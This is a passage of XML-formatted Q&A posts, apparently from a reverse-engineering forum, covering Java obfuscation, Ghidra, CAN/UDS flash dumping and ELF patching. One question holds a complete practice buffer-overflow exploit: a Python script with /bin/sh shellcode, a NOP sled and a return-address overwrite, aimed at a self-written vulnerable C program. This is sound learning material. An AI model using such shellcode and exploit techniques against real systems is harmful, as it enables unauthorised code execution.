  <row Id="21065" PostTypeId="1" AcceptedAnswerId="21066" CreationDate="2019-04-06T17:49:13.967" Score="0" ViewCount="73" Body="&lt;p&gt;Try to decompile several classes from jar and found this&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public static final boolean \u2005\u200e;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; if (\u2005\u200e) &#xA; {&#xA;     final boolean \u2005\u200e = tEstPrOJEcTDEV7i.\u2005\u200e;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how to convert this names to normal? In byte code some of strings looks like -&gt; &quot;�ୱﺔ颮떚䁠䭽鎢&quot;&lt;/p&gt;&#xA;" OwnerUserId="28063" LastActivityDate="2019-04-06T18:26:49.417" Title="Java obfuscated methods and params" Tags="|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21066" PostTypeId="2" ParentId="21065" CreationDate="2019-04-06T18:26:49.417" Score="1" Body="&lt;p&gt;A common obfuscation tactic is to remove all the identifiers and replace them with arbitrary and unhelpful strings. Since the JVM (mostly) doesn't care what your methods are called, the code will still work fine, but it is harder to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, there is no way to recover the original identifiers, because the information simply doesn't exist anymore. However, you can rename them to things you find more helpful as part of the reverse engineering process.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2019-04-06T18:26:49.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21071" PostTypeId="1" AcceptedAnswerId="21205" CreationDate="2019-04-07T18:03:49.313" Score="1" ViewCount="1183" Body="&lt;p&gt;How can one access all references to the stack (also outside of its frame) a &lt;a href=&quot;http://ghidra.re/ghidra_docs/api/ghidra/program/model/listing/Function.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;function&lt;/a&gt; has via the Java Plugin API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: This instructions write values &lt;strong&gt;outside&lt;/strong&gt; of the stack frame of the function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/L5ERd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/L5ERd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to traverse the CFG of the function? (If yes, how do I do this?)&lt;/p&gt;&#xA;" OwnerUserId="28073" LastEditorUserId="28073" LastEditDate="2019-04-07T20:37:12.650" LastActivityDate="2019-04-24T07:56:55.100" Title="Get stack references in Ghidra of a function from the java api" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21076" PostTypeId="1" CreationDate="2019-04-07T23:49:42.020" Score="2" ViewCount="2410" Body="&lt;p&gt;I want to be able to read Flash memory from Microcontroller using CAN BUS, I was looking for the past few months for some resources to do that but didn't find any, i'm wondering how is that possible since some companies do that I'm looking for a simple example or explaination on how to accomplish that and which tools I need.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="28074" LastActivityDate="2019-04-08T18:53:25.570" Title="dump flash memory with CAN BUS" Tags="|flash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21077" PostTypeId="1" CreationDate="2019-04-08T02:31:57.997" Score="1" ViewCount="822" Body="&lt;p&gt;I wrote this short C program to practice buffer overflow exploits:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stddef.h&amp;gt;&#xA;#include &amp;lt;inttypes.h&amp;gt;&#xA;&#xA;char *decode(char *s){&#xA;  for(int i = 0; i &amp;lt; strlen(s); i++){&#xA;    s[i] ^= 0x15;&#xA;  }&#xA;  return s;&#xA;}&#xA;&#xA;void get_secret(int argc, char *argv[]){&#xA;&#xA;  uint32_t eip_addr;&#xA;  char secret[] = &quot;}aaef/::lz`a`;wp:qDb!b,BrMvD&quot;;&#xA;  char buffer[100];&#xA;&#xA;  if(argc &amp;gt; 1){&#xA;    strcpy(buffer, argv[1]);&#xA;  }else{&#xA;    scanf(&quot;%s&quot;, buffer);&#xA;  }&#xA;&#xA;  printf(&quot;You entered: %s\n\n&quot;, buffer);&#xA;&#xA;  if(strcmp(buffer, secret) == 0){&#xA;    printf(&quot;Passwords match!\n&quot;);&#xA;    printf(&quot;Here is the secret message: %s\n&quot;, decode(secret));&#xA;  }else{&#xA;    printf(&quot;Get the f!@# out of here!\n&quot;);&#xA;    asm volatile(&quot;1: lea 1b, %0;&quot;: &quot;=a&quot;(eip_addr));&#xA;    printf(&quot;EIP address:  %&quot; PRIx32 &quot;; %&quot; PRIu32 &quot; bytes from main start\n&quot;,&#xA;       eip_addr,eip_addr - (uint32_t)get_secret);&#xA;  }&#xA;}&#xA;int main(int argc, char *argv[]){  &#xA;  printf(&quot;Welcome to the simple verifier!\n&quot;);&#xA;  printf(&quot;Please enter your password: &quot;);&#xA;&#xA;  get_secret(argc, argv);&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I disable &lt;code&gt;ASLR&lt;/code&gt; and compile it with &lt;code&gt;NX&lt;/code&gt;, &lt;code&gt;PIE&lt;/code&gt;, and &lt;code&gt;CANARY&lt;/code&gt; disabled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 0 &amp;gt; /proc/sys/kernel/randomize_va_space&#xA;gcc -m32 -g -no-pie -fno-stack-protector -z execstack overflow.c -o overflow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;r2&lt;/code&gt;, &lt;code&gt;ragg2&lt;/code&gt; and &lt;code&gt;rarun2&lt;/code&gt;, I find where I can overwrite the return address of &lt;code&gt;get_secret()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~$ ragg2 -P 200 -r &amp;gt; pattern.txt&#xA;~$ echo &quot;#!/usr/bin/rarun2&quot; &amp;gt; profile.rr2 &amp;amp;&amp;amp; echo &quot;stdin=./pattern.txt&quot; &amp;gt;&amp;gt; profile.rr2&#xA;~$ r2 -r profile.rr2 -d overflow&#xA;[0xf7795a20]&amp;gt; dc&#xA;EIP address:  804930b; 257 bytes from main start&#xA;child stopped with signal 11&#xA;[+] SIGNAL 11 errno=0 addr=0x41784141 code=1 ret=0&#xA;[0x41784141]&amp;gt; wopO 0x41784141&#xA;145&#xA;[0x41784141]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, now I know exactly how big my payload must be to get to the return address, 145 bytes. Now I find an address to point to on the stack using &lt;code&gt;gdb&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~$ gdb overflow_exe -q&#xA;gdb-peda$ b 20&#xA;gdb-peda$ b 25&#xA;gdb-peda$ r $(python -c 'print &quot;A&quot;*145+&quot;B&quot;*4')&#xA;gdb-peda$ c&#xA;gdb-peda$ x/200x $esp&#xA;0xffffd100: 0x39    0x25    0xfe    0xf7    0x00    0x00    0x00    0x00&#xA;0xffffd108: 0x7d    0xc5    0xe5    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd110: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd118: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd120: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd128: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd130: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd138: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd140: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd148: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd150: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd158: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd160: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd168: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd170: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd178: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd180: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd188: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd190: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41&#xA;0xffffd198: 0x41    0x41    0x41    0x41    0x42    0x42    0x42    0x42&#xA;0xffffd1a0: 0x00    0x00    0x00    0x00    0x74    0xd2    0xff    0xff&#xA;0xffffd1a8: 0x80    0x28    0xe2    0xf7    0x55    0x93    0x04    0x08&#xA;0xffffd1b0: 0x02    0x00    0x00    0x00    0x74    0xd2    0xff    0xff&#xA;0xffffd1b8: 0x80    0xd2    0xff    0xff    0xe0    0xd1    0xff    0xff&#xA;0xffffd1c0: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00&#xA;gdb-peda$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;should&lt;/em&gt; be able to replace those &lt;code&gt;\x41&lt;/code&gt;s with &lt;code&gt;\x90&lt;/code&gt;s, append my shellcode to it, then some address on the stack on to the end of that, making my payload look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;\x90&quot;*117 + &amp;lt;/bin/sh shellcode&amp;gt; + &amp;lt;some address that's filled with \x90&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using this logic, I picked an address in the middle on the NOPs, &lt;code&gt;0xffffd150&lt;/code&gt;, and crafted the following python exploit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python&#xA;import struct, os&#xA;&#xA;#land in middle of NOPs&#xA;ret_addr = 0xffffd150&#xA;&#xA;#shellcode -&amp;gt; 28 bytes&#xA;shell_code = &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80&quot;&#xA;&#xA;#correct endianess&#xA;def conv(val):&#xA;    return struct.pack('&amp;lt;I', val)&#xA;&#xA;# Build the exploit string&#xA;# 149 bytes to overwrite the ret addr total&#xA;# Need to take 28 bytes for the shellcode and 4 for the return addr&#xA;# 145 - 28 = 117&#xA;exp = &quot;\x90&quot;*117&#xA;exp += shell_code # at the ret addr (145 bytes) here&#xA;exp += conv(ret_addr)&#xA;&#xA;print(&quot;Starting exploit&quot;)&#xA;os.system(&quot;./overflow_exe &quot;+exp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But...I keep getting an &lt;em&gt;Illegal instruction&lt;/em&gt; fault:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~$ ./overflow_exploit.py &#xA;Starting exploit&#xA;Welcome to the simple verifier!&#xA;Please enter your password: You entered: ���������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°&#xA;                 1�@̀P���&#xA;&#xA;Get the f!@# out of here!&#xA;EIP address:  804930b; 257 bytes from main start&#xA;Illegal instruction&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Back in &lt;code&gt;gdb&lt;/code&gt; I can see the NOP sled, shellcode, and return address, all where they should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ x/200x $esp&#xA;0xffffd120: 0xf7fe2539  0x00000000  0x90e5c57d  0x90909090&#xA;0xffffd130: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffd140: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffd150: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffd160: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffd170: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffd180: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffd190: 0x90909090  0x90909090  0x90909090  0x90909090&#xA;0xffffd1a0: 0x6850c031  0x68732f2f  0x69622f68  0x89e3896e&#xA;0xffffd1b0: 0xb0c289c1  0x3180cd0b  0x80cd40c0  0xffffd150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss.  I re-check the binary's security features, and NX is still disabled (which is the only reason I can think of to explain the shellcode eliciting an &quot;Illegal instruction&quot; fault):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gdb-peda$ checksec&#xA;CANARY    : disabled&#xA;FORTIFY   : disabled&#xA;NX        : disabled&#xA;PIE       : disabled&#xA;RELRO     : Partial&#xA;gdb-peda$ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is my exploit throwing an &lt;code&gt;Illegal instruction&lt;/code&gt; fault when all security features are disabled, and my shellcode is in the correct position on the stack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Debian 9&lt;/p&gt;&#xA;" OwnerUserId="19263" LastEditorUserId="19263" LastEditDate="2019-04-15T00:24:33.300" LastActivityDate="2019-04-15T00:24:33.300" Title="Illegal instruction fault in stack based buffer overflow" Tags="|radare2|c|gdb|python|buffer-overflow|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21078" PostTypeId="2" ParentId="21061" CreationDate="2019-04-08T09:25:33.277" Score="4" Body="&lt;p&gt;Yes, it is possible. Although you could solve your problem in several ways, I'll provide you with the easiest one in my opinion. The tool you could use is &lt;a href=&quot;https://sourceware.org/binutils/docs/binutils/objcopy.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;objcopy&lt;/a&gt;. It allows you to change contents of ELF files and I'll show you step-by-step example how to use it to achieve your goal. In the example presented below, I'm working on 64bit Linux machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the following C program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;#define NUM_OF_LANGUAGES 5&#xA;#define MAX_STR_LENGTH 21&#xA;&#xA;const char LANGUAGES_TABLE[NUM_OF_LANGUAGES][MAX_STR_LENGTH] = {&#xA;    &quot;stringInEnglish&quot;,&#xA;    &quot;stringInPolish&quot;,&#xA;    &quot;stringInSpanish&quot;,&#xA;    &quot;stringInItalian&quot;,&#xA;    &quot;stringInFrench&quot;&#xA;};&#xA;&#xA;char* someOtherData = &quot;some other data&quot;;&#xA;char* lastString = &quot;last string in file&quot;;&#xA;&#xA;int main(int argc, char** argv)&#xA;{&#xA;    int langID = atoi(argv[1]);&#xA;    printf(&quot;%s\n&quot;, LANGUAGES_TABLE[langID]);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let's pretend for a moment that we don't have its source code (since I wanted to make it as simple as possible, there is no error checking here). As you see, it takes argument (index of language) at its start and prints string in given language. But we want to add an extra string, say &lt;code&gt;stringInYourFavouriteLanguage&lt;/code&gt; and make our program capable of printing it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our first step will be finding ELF section containing all strings in different languages. To do this, you may use &lt;a href=&quot;https://sourceware.org/binutils/docs/binutils/objdump.html#objdump&quot; rel=&quot;nofollow noreferrer&quot;&gt;objdump&lt;/a&gt; - just look at the section name, where you see these strings. In my case it is &lt;code&gt;.rodata&lt;/code&gt; as you may see below:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8AJR7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8AJR7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Please note that we encounter additional problem here - every string in &lt;code&gt;LANGUAGES_TABLE&lt;/code&gt; takes only 21 bytes, while &lt;code&gt;stringInYourFavouriteLanguage&lt;/code&gt; uses 30. I'll return to it in a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, we would like to prepare a file, say &lt;code&gt;langData&lt;/code&gt;, containing data we would like to have in new &lt;code&gt;.rodata&lt;/code&gt; section. I recommend you just copy the existing one and then append patched version of strings in different languages - this way you will avoid changing all offsets in &lt;code&gt;.rodata&lt;/code&gt; accesses in code; you will only need to change these related to languages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our example, we also need to change the second dimension of &lt;code&gt;LANGUAGES_TABLE&lt;/code&gt; to 30, so we will add 9 NULL bytes at the end of every string in this array. Then we append &lt;code&gt;stringInYourFavouriteLanguage&lt;/code&gt;+NULL to the end of the file. Before appending to file containing entire data from &lt;code&gt;.rodata&lt;/code&gt;, our file looks like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QBxO7.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QBxO7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Now, we may concatenate these files and get one file - &lt;code&gt;langData&lt;/code&gt; containing new data to be added to &lt;code&gt;.rodata&lt;/code&gt;. Then we use objcopy like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objcopy --update-section .rodata=langData langPack langPackPatched&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;, where &lt;code&gt;langPack&lt;/code&gt; is the ELF file we want to modify and &lt;code&gt;langPackPatched&lt;/code&gt; is the output file. You may now check this file with objdump and see that changes were indeed made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now, we have &lt;code&gt;.rodata&lt;/code&gt; having desired content. Now we want to make our executable capable of printing &lt;code&gt;stringInYourFavouriteLanguage&lt;/code&gt; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve that, we will need to actually change some code in our program - firstly, we have to change offsets, so that every memory access to &lt;code&gt;LANGUAGES_TABLE&lt;/code&gt; will use our appended data and, secondly, we need to change scaling, so that instead of printing &lt;code&gt;PATCHED_LANGUAGES_TABLE[21*arg]&lt;/code&gt;, our program will print &lt;code&gt;PATCHED_LANGUAGES_TABLE[30*arg]&lt;/code&gt;. And that is the trickiest part of the whole process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, you need to find the piece of code to patch. In our example it is:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xVig9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xVig9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Note that 21 bytes starting from offset &lt;code&gt;0x6e8&lt;/code&gt; are actually responsible for multiplying arg by 21 and loading address of &lt;code&gt;LANGUAGES_TABLE&lt;/code&gt; to RDX. Here, &lt;code&gt;lea&lt;/code&gt; computes this offset using RIP. What we need to do, is to determine offset we want to add to RIP to achieve &lt;code&gt;LANGUAGES_TABLE_PATCHED&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here, please keep in mind an important thing - we have to determine this offset depending on the address of this &lt;code&gt;lea&lt;/code&gt; instruction in our &lt;strong&gt;patched&lt;/strong&gt;&#xA; file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, either we leave it at its place and change only offset (that is last 4 bytes of opcode), so that it points to our patched table, or we just write our code and then add relevant number of &lt;code&gt;nop&lt;/code&gt;s (we could then write &lt;code&gt;lea&lt;/code&gt; as &lt;code&gt;lea [rip]&lt;/code&gt; and then simply check the required offset with a debugger and change this to &lt;code&gt;lea [rip+offset]&lt;/code&gt;) - that's what I did. Nevertheless, our patched code may look like this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/uhAgw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uhAgw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's responsible for calculating address of &lt;code&gt;LANGUAGES_TABLE_PATCHED[30*arg]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, that's it! We may now test it; if we run &lt;code&gt;./langPackPatched 5&lt;/code&gt;, we get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stringInYourFavouriteLanguage,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as desired, while program behaviour remains unchanged for other arguments.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-04-08T09:33:18.303" LastActivityDate="2019-04-08T09:33:18.303" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21080" PostTypeId="1" CreationDate="2019-04-08T11:20:20.560" Score="1" ViewCount="266" Body="&lt;p&gt;I know that Ida uses &lt;code&gt;ptrace&lt;/code&gt; function to attach and debug process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How Ida can suspend thread? how is that possible?&lt;/p&gt;&#xA;" OwnerUserId="28082" LastEditorUserId="60" LastEditDate="2019-04-08T17:56:40.660" LastActivityDate="2019-04-08T17:56:40.660" Title="How does Ida suspend threads?" Tags="|ida|debugging|thread|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21081" PostTypeId="1" CreationDate="2019-04-08T11:45:08.733" Score="0" ViewCount="171" Body="&lt;p&gt;I was trying to exploit a simple buffer overflow on a self created binary.&#xA;i have disabled all the security features by compiling with the flags -&#xA;&lt;strong&gt;--fno-stack-protector -z execstack -no-pie&lt;/strong&gt;.&#xA;my program just copied data through gets on a defined variable.&#xA;however when i try to overwrite the RIP and check the crash point, i get this -&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IUaAx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IUaAx.png&quot; alt=&quot;dmesg | tail&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what can i do to overwrite the rip?&lt;/p&gt;&#xA;" OwnerUserId="28083" LastActivityDate="2019-04-08T11:45:08.733" Title="Cannot rewrite the rip even after disabling all the security features" Tags="|exploit|buffer-overflow|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21082" PostTypeId="1" CreationDate="2019-04-08T17:03:59.263" Score="1" ViewCount="182" Body="&lt;p&gt;The code below is executed with the parameters &lt;code&gt;(0, 4, 0)&lt;/code&gt; , the first &lt;code&gt;0&lt;/code&gt; being an int pointer casted to an int, and these are the same every time.  After execution, a 3 digit number string is returned/assigned to result e.g. &quot;817&quot;.  But this number string can change and be different values, but I don't understand how this could be the case if the parameters passed to the function are all constant?   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unsigned int __fastcall sub_CD16FABC(unsigned int result, int a2, int a3)&#xA;{&#xA;  int v3; // r7&#xA;  signed int v4; // r3&#xA;  bool v5; // zf&#xA;  bool v6; // nf&#xA;  unsigned __int8 v7; // vf&#xA;  char v8; // r1&#xA;  int v9; // r2&#xA;  char v10; // r1&#xA;  char v11; // lr&#xA;  int v12; // r8&#xA;  int v13; // r1&#xA;  signed int v14; // r7&#xA;  int v15; // r3&#xA;  char v16; // [sp+2h] [bp-1Ah]&#xA;  char v17; // [sp+3h] [bp-19h]&#xA;&#xA;  v3 = -a3 - (unsigned __int8)result;&#xA;  v4 = (((result &amp;gt;&amp;gt; 8) ^ 0xFFFF00) &amp;amp; (result &amp;gt;&amp;gt; 8)) + a3;&#xA;  v7 = __OFSUB__(a2, 3);&#xA;  v5 = a2 == 3;&#xA;  v6 = a2 - 3 &amp;lt; 0;&#xA;  v8 = 0;&#xA;  v9 = a3 + (unsigned __int8)__ROR4__(result, 16);&#xA;  if ( !((unsigned __int8)(v6 ^ v7) | v5) )&#xA;    v8 = 1;&#xA;  v17 = v8;&#xA;  v10 = result;&#xA;  if ( result )&#xA;    v10 = 1;&#xA;  v16 = v10;&#xA;  v11 = v4&#xA;      - 10&#xA;      * (((signed int)((unsigned __int64)(1717986919LL * v4) &amp;gt;&amp;gt; 32) &amp;gt;&amp;gt; 2)&#xA;       + ((((unsigned __int64)(1717986919LL * v4) &amp;gt;&amp;gt; 32) &amp;amp; 0x80000000) != 0LL))&#xA;      + 48;&#xA;  v12 = v9 % 10 + 48;&#xA;  v13 = -v3 % 10;&#xA;  v14 = -1319380658;&#xA;  while ( 1 )&#xA;  {&#xA;    v15 = v14 &amp;amp; 0x7FFFFFFF;&#xA;    if ( (v14 &amp;amp; 0x7FFFFFFF) == 695688137 )&#xA;      break;&#xA;    if ( v15 == 1516370106 )&#xA;    {&#xA;      *(_BYTE *)(result + 1) = v11;&#xA;      v14 = -1451795511;&#xA;      *(_BYTE *)result = v13 + 48;&#xA;      *(_BYTE *)(result + 2) = v12;&#xA;      *(_BYTE *)(result + 3) = 0;&#xA;    }&#xA;    else if ( v15 == 828102990 )&#xA;    {&#xA;      v14 = -1451795511;&#xA;      if ( v17 )&#xA;        v14 = -631113542;&#xA;      if ( !v16 )&#xA;        v14 = -1451795511;&#xA;    }&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23476" LastActivityDate="2019-04-08T17:03:59.263" Title="IDA Pro how debug constant function returning different results?" Tags="|ida|disassembly|assembly|android|libraries|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21083" PostTypeId="2" ParentId="21076" CreationDate="2019-04-08T18:13:24.440" Score="1" Body="&lt;p&gt;&lt;em&gt;If&lt;/em&gt; the specific ECU you have implements flash reading CAN commands and &lt;em&gt;if&lt;/em&gt; you know the command format (and possibly some password necessary to unlock them) &lt;em&gt;then&lt;/em&gt; it may be possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately to discover these commands you need to analyze the firmware so it is somewhat of a chicken and egg problem. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-04-08T18:13:24.440" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21084" PostTypeId="2" ParentId="21076" CreationDate="2019-04-08T18:53:25.570" Score="3" Body="&lt;p&gt;In the automotive domain take a close look at the &lt;a href=&quot;https://en.wikipedia.org/wiki/Unified_Diagnostic_Services&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unified Diagnostic Services (UDS) protocol&lt;/a&gt;. Most modern cars implement at least some of the services provided by UDS, typically over the OBD-II CAN interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reading out flash memory, service &lt;code&gt;$35&lt;/code&gt; (Request upload) can be used, if implemented. However, most likely you will have to get security access via service &lt;code&gt;$27&lt;/code&gt; first.&lt;/p&gt;&#xA;" OwnerUserId="27388" LastActivityDate="2019-04-08T18:53:25.570" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21085" PostTypeId="1" AcceptedAnswerId="21159" CreationDate="2019-04-08T19:49:45.183" Score="3" ViewCount="2547" Body="&lt;p&gt;Help me to decipher the Python's marshaled code object. The &lt;code&gt;.pyc&lt;/code&gt; files are almost the same: &lt;a href=&quot;https://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;The structure of .pyc files&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I have:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The code object compiled from the source.&lt;/li&gt;&#xA;&lt;li&gt;The marshaled representation of this code object.&lt;/li&gt;&#xA;&lt;li&gt;The recursive disassembly of its (code object) code section.&lt;/li&gt;&#xA;&lt;li&gt;All its fields values.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The main purpose:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to find out, how the different code objects stored and referenced from each other. That is, how the links to the child code objects are stored?  The module should have references to all its functions. The function should have references to all other functions, callable from it. Etc. Does Virtual Machine preserves the code object &lt;code&gt;id&lt;/code&gt;, when storing it to the &lt;code&gt;.pyc&lt;/code&gt;? I don't thinks so, because can't see &lt;code&gt;id&lt;/code&gt;s in the &lt;code&gt;.pyc&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have such instruction in the disassembled source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LOAD_CONST        2 (&amp;lt;code object baz at 0x7f380995e5d0, file &quot;foo.py&quot;, line 7&amp;gt;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hence:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How the Virtual Machine will found the 